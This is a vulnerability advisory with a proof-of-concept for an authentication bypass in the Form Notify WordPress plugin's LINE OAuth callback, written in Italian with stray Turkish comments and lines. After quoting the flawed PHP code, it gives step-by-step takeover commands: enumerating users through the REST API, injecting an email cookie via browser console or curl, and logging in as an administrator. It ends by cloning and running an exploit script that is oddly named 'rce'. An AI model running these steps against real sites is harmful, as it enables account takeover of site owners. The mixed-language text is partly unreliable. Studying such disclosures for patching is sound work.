
CVE-2026-5229: Bypass dell'autenticazione di Form Notify tramite il callback OAuth di LINE (CVSS 9.8)
CVE-2026-5229: Bypass dell'autenticazione di Form Notify tramite callback OAuth di LINE (CVSS 9.8)
Plugin: Form Notify (
form-notify) Tipo di vulnerabilità: Bypass dell'autenticazione OAuth di LINE non autenticato → Acquisizione dell'account Punteggio CVSS: 9.8 (Critico) Vettore CVSS:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HVersioni interessate: <= 1.1.10 Versione patchata: 1.1.11+ Ricercatore: Paolo Tresso — Wordfence
Il plugin Form Notify è un plugin WordPress che invia notifiche dopo l'invio dei moduli e offre l'integrazione LINE Login OAuth 2.0.
La vulnerabilità si trova nell'handler di callback OAuth di LINE. Dopo che l'utente completa il flusso di autorizzazione LINE, il plugin risolve l'account WordPress solo in base all'indirizzo email. Non verifica mai se l'account LINE sia stato precedentemente associato a quell'account WordPress.
| Versione | Vulnerabilità | Metodo di attacco |
|---|---|---|
| <= 1.1.08 | Cookie Injection + Email Match | Path A o Path B |
| 1.1.09 – 1.1.10 | Email Match (cookie rimosso) | Path B |
| 1.1.11+ | Patchata | — |
L'endpoint di callback OAuth di LINE è registrato come completamente pubblico:
// src/APIs/Line/Login/Route.php
register_rest_route(
'form-notify/v1',
'/callback',
array(
'methods' => 'GET',
'callback' => array( $this, 'get_api_callback' ),
'permission_callback' => function () {
return true; // kimlik doğrulama gerekmez
},
)
);
I nonce di WordPress sono token CSRF, non token di autenticazione. Ogni visitatore può ottenere un nonce valido dall'HTML della pagina e superare il controllo di verifica.
// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email = $has_real_email ? $user->email : $user_raw_id . '@line.com';
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
$this->user = get_user_by( 'email', $user_email ); // sadece email ile arama
if ( ! is_wp_error( $this->user ) && $this->user ) {
return true; // linkage kontrolü YOK
}
return false;
}
Se viene trovata una corrispondenza, il metodo login() apre immediatamente una sessione:
// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
if ( ! is_user_logged_in() ) {
wp_clear_auth_cookie();
wp_set_current_user( $this->user->ID );
wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
}
}
// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
$line_email = sanitize_text_field(
wp_unslash( $_COOKIE['form_notify_line_email'] )
);
}
$user_email = ( $user->email ) ? $user->email : $line_email;
Quando il profilo LINE non restituisce un'email ($user->email vuoto), il plugin legge direttamente il cookie del browser. L'attaccante controlla completamente questo cookie.
$session_state = get_transient( 'form_notify_line_state_' . $state );
if ( empty( $session_state ) ) {
// Transient yoksa $_SESSION'a düşer
$session_state = sanitize_text_field(
wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
);
set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}
Se il transient è scaduto, entra in gioco il fallback su $_SESSION. Nella maggior parte delle installazioni WordPress, $_SESSION non è popolata a questo punto → il controllo dello state può essere aggirato.
// sign_up() metodu
$userdata = array(
'user_pass' => $user_email, // şifre = email adresi
...
);
Negli account creati tramite il flusso OAuth di LINE, la password è identica all'indirizzo email. Questa situazione consente attacchi diretti di brute-force o di login.
| Motivo | Descrizione |
|---|---|
| Nessuna autenticazione richiesta | L'endpoint di callback è completamente pubblico |
| Nessun controllo di collegamento | Qualsiasi account LINE è sufficiente |
| Attacco via cookie | Con <= 1.1.08 non serve nemmeno l'email |
| Tutti gli account, inclusi gli admin | get_user_by('email') colpisce chiunque |
| Scarso controllo dello state | La protezione CSRF può essere aggirata |
| Email = Password | Gli account creati via OAuth sono vulnerabili a brute-force banale |
⚠️ Disclaimer: Questo PoC è fornito esclusivamente a scopo educativo e per test di sicurezza autorizzati. Testare sistemi senza autorizzazione esplicita è illegale.
Prerequisiti:
TARGET="https://target.com"
# WordPress REST API'den kullanıcı listesi
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool
# Veya author sayfaları
curl -s "$TARGET/?author=1" -I | grep Location
Apri gli strumenti di sviluppo del browser e incolla nella console:
document.cookie = "[email protected]; path=/";
Oppure con curl:
curl -v -b '[email protected]' \
"$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location
Apri nel browser l'URL OAuth di LINE presente nell'header Location.
Nella schermata di consenso LINE, non concedere il permesso email oppure usa un account LINE senza email. LINE reindirizza al callback senza email. Il plugin ricade sul cookie.
curl -s -b 'wordpress_logged_in_XXXX=...' \
"$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool
Risposta attesa:
{
"id": 1,
"name": "admin",
"email": "[email protected]",
"roles": ["administrator"]
}
Come al Passo 1 del Path A.
Crea un account LINE all'indirizzo account.line.biz con l'email target. (Richiede la verifica dell'email — è necessario l'accesso alla casella di posta del target.)
https://target.com/wp-json/form-notify/v1/login
Nella schermata di consenso LINE, concedi il permesso email. LINE restituisce l'indirizzo email nel callback.
Plugin: is_member('[email protected]')
→ get_user_by('email', '[email protected]')
→ Administrator bulundu
→ wp_set_auth_cookie(1)
→ Oturum açıldı ✓
git clone https://github.com/kullanici/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt
requirements.txt
requests
python form_notify_rce.py -u http://hedef.com
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path A